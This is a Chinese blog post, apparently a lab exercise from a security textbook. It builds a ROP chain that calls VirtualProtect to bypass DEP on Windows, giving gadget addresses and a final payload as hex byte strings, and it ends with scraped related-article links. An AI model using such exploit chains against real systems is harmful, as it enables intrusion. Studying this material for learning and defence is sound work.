Ret2Libc 练习(2) -- VirtualProtect
这几天做了NSCTF和GCTF,耽误了几天,今天继续。
这次绕过DEP的方法是利用VirtualProtect函数将shellcode所在的内存属性改成可执行状态就可以绕过DEP了。
首先看一下VirtualProtect函数的参数说明:

lpAddress: 改变属性的内存起始起止
dwSize: 要改变属性的内存的起始地址
flNewProtect: 需要设置的内存的新属性,这里设置为0x40就行,可读可写可执行
pflOldProtest: 内存原始属性类型保存地址,根据实验书上的意思这里的内存地址只要保证可写就行,其他没要求
首先看一下VirtualProtectEx函数在内存的位置,在我的机器上地址是0x7c801ae7:

可以看到4个参数的地址是以EBP定位的,所以EBP的地址在堆栈布置中尤为重要。
首先看一下程序溢出时的堆栈和寄存器情况:

可以看到EIP的地址是0x0012fe0, EBP也被覆盖成了0x90909091,先想到把EBP的值修复,看到ESP的值正常,找push esp; pop ebp 的地址:
"\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
修正EBP以后重新运行:

看到已经执行完push esp; pop ebp; retn 4; 现在esp=0x0013febc, ebp=0x0013feb4, 可以看到中间差了8个字节,eip=0x90909093, 也就是0x0013feb4处。现在ebp的值已经确定了,ebp+0x14=0x0013fec8, ebp+0x8=0x0013febc, ebp+0x14和ebp+0x8是需要动态确定的地址,现在esp指向0x0013febc, 让esp指向0x0013fec8的指令首先想到的就是pop r32; pop r32; pop r32; 通过3个出栈到达使esp=0x0013fec8,这样可以将ebp+0x14这个参数设置好;现在的esp正好指向ebp+0x8的位置,也就是改变属性的内存起始起止的lpAddress,可以先将esp向高位移动4字节如何用push esp指令压榨,设置好lpAddress,把esp向下移动4字节的指令是retn指令,因为retn = pop eip; add esp, 0x4。随便找个retn指令的地址填在0x0013feb4就行:
“\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
程序重新运行,执行完retn指令以后,堆栈:

现在eip=0x90909095, esp=ebp+0xC, 直接push esp, 就可以设置好ebp+0x8, 但是push esp以后直接retn的话会将0x0013fec0弹给eip,则程序会到0x0013fec0取指令,这在DEP没有关闭的情况下显然不能执行,所以书中采用了jmp eax的方法。现在eax=0x0013fdfc, 需要控制eax的值,eax的值指向pop r32; pop r32; pop r32; retn ; 指令的地址就可以顺利到达比ebp+0x14高4字节的位置。如何将pop3的指令地址给eax, 注意刚开始发生溢出时eip=0x90909092, esp在eip的高位4字节处,故可以这样布置堆栈:
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop3 retn
现在shellcode的流程首先将pop3 retn的地址给eax,在修正ebp, 执行之前的运行流程:
"\x90\x90\x90\x90"
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\x96\x90\x90\x90"
pop eax; retn 后,esp指向retn的地址,eip指向修正ebp的地址,从而执行之前设置好的运行流程。由于在修正ebp之前加了2个地址,导致ebp的地址发生了变化,看看经过了pop pop pop之后堆栈和寄存器的情况

push esp; jmp eax; 指令将0x0012fec8这个地址压入了ebp+0x8之后,跳转到eax的地址执行,eax指向pop pop pop 的地址,经过3次pop之后,esp最终指向ebp+0x14,在经过一次retn之后,将ebp+0x14指向的地址赋给eip,同时esp向高址移动4字节,接下来一个push esp的指令就可以成功设置ebp+0x14的参数,这里唯一需要注意的是查找3次pop指令时不能修改esp和ebp的值。所以在执行完pop pop pop retn之后,接下来执行push esp指令,push esp执行完以后,此时esp指向ebp+0x14,需要增大esp的值,因为在执行VirtualProtectEx需要进行压栈操作,不能破坏esp+0x8--esp+0x14的堆栈区域,很巧妙的一点就是可以继续利用之前的push esp; jmp eax的指令,push esp结束布置好VirtualProtectEx的参数以后,执行pop pop pop retn指令,可以将esp向高址移动16个字节,不至于影响已经布置好的堆栈。
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax

第二次执行完pop pop pop retn以后,就可以跳到VirtualProtect的入口处,最终的shellcode布置:
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd9\x1a\x80\x7c" // VitualProtect
2015/9/27
11:49
Ret2Libc 练习(2) -- VirtualProtect的更多相关文章
- OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()
一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- OD: DEP & Ret2Libc
Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...
- Ret2Libc 练习(1) -- ZwSetInformationProcess
花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...
- 黑窗口输入确定数字弹MessageBox(VirtualProtect())
今天有人说到这个就想的弹一下,刚开始弄了一下,发现内存访问有问题想到可能与读写保护有关,所以用了VirtualProtect函数,得到了正确结果 网上这个小东西我自己没发现,就贴一下.. void m ...
- 缓冲区溢出基础实践(一)——shellcode 与 ret2libc
最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- Rop实战之利用VirtualProtect绕过DEP
CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...
随机推荐
- js拖拽效果
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Dapper学习笔记(3)-增、删、改、查
一.建表 在数据库中建立如下三张表: CREATE TABLE [dbo].[T_User] ( , ) PRIMARY KEY NOT NULL, ) NOT NULL, ) NULL, ) NUL ...
- ueditor工具栏更改按钮的默认操作
ueditor 上的 image 按钮,默认有一个图片选择工具. 但是我想把他去掉,用上自己写的图片选择功能. 原来使用cleditor 是可以给按钮自定义一个函数.但是在ueditor就没有找到可以 ...
- JS总结 节点
nodeName 获取节点名称 元素节点:返回标记名称 属性节点:返回属性名称 文本节点:返回文本#text nodeTyle 获取节点类型 元素节点:返回1 属性节点:返回2 文本节点:返回3 n ...
- TCPCopy使用
http://www.thinkingbar.com/2014/04/17/tcpcopy使用/ 主题 技术 一.应用背景 主要用于系统的稳定性测试.它可以复制线上服务器的请求,通过修改TCP/I ...
- clojure 之 hello world
1. 安装Leiningen 2. lein new app bar 3. lein run Hello, World!
- shell 中变量前"?"的作用
example: if ($?USER == 0 || $?prompt == 0) then .... if ( $?DS_HOME != 0 ) then if ( ${? ...
- POJ 2481-树状数组
题意:给定几个区间,判断该区间是其余区间的真子集个数. 分析:真子集即寻找x,y满足a(小于或等于x),b(大于或等于y)的区间.跟star-POJ2352很类似. 转化:star那个题目是x,y都是 ...
- Jquery和Javascript 实际项目中写法基础-弹出窗和弹出层 (4)
一.实际项目中有很多如下界面效果. 二.该效果可以归结为弹出窗或者弹出层来实现的,为什么这么说?看如下代码: <!DOCTYPE html> <html> & ...
- Record:Handle onClick for our custom LinearLayout for Gallery-like HorizontalScrollView
Handle onClick for our custom LinearLayout for Gallery-like HorizontalScrollView The post "Im ...